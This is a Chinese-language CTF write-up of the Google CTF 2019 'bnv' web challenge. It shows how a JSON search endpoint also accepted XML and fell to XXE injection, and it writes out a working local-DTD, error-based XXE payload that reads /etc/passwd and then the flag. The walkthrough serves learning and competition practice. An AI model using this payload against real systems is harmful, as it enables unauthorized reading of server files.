前言
Google CTF 2019 刚过不久,来一波复现~
题目
题目地址是 https://bnv.web.ctfcompetition.com/
题目描述:
这是一个没有啥好看的 enterprise-ready™ Web应用程序。
搞!
点开链接一看,为什么这么黑……
从网页标题和中间的图片很明显是盲文,结合题目,应该是一个盲人用的网站?
网页中央是说“请使用这个搜索引擎,找一个离你最近的组织”,下拉框有三个城市可选。
先看一下搜索会发生啥吧:
POST 搜索接口一条 message,估计是盲文代码?然后返回了相应的信息。
看一下 JavaScript 是怎么写的吧:
数一数 blindvalues 数组,刚好 26 个,猜想是不是字母一一对应捏,打开 Console 验证一下:
跟 message 一模一样~ 先想一想,如果该题是 SQL 注入的话,那这题只能使用纯字母,并且忽略大小写,这个有点难整啊…… 使用特殊标点符号 Fuzz 一下,一点用都没有。
思来想去,搜到了一个奇妙的渗透手法:基于 Json 的 web 服务也有可能存在着 XXE 注入!试一试提交 XML:
哎嘿?似乎可行?扔一个和提交 Json 相同意义的 XML 试试?
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message[
<!ELEMENT message ANY>
]>
<message>135601360123502401401250</message>
哎嘿?似乎成功近在眼前了?赶紧翻 payload……整了好久,在 Burp 官网上看到了一个比较新颖的使用本地 DTD 读取文件的方法 Exploiting XXE to retrieve data by repurposing a local DTD
这个 payload 主要是利用错误信息来打印目标文件的内容,重新定义了 docbookx.dtd
(一般有 Gnome 就有它)里面的 ISOamso
。我们提交了这个 payload 之后,当导入本地的 DTD 文件时,会优先执行我们定义的 ISOamso
,因此可以达成任意文件读取。
使用该 payload 成功读取:
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
猜一下路径 /flag
,对啦✔
总结
算是一道不错的 XXE 利用题目,又学习到了新的利用方式~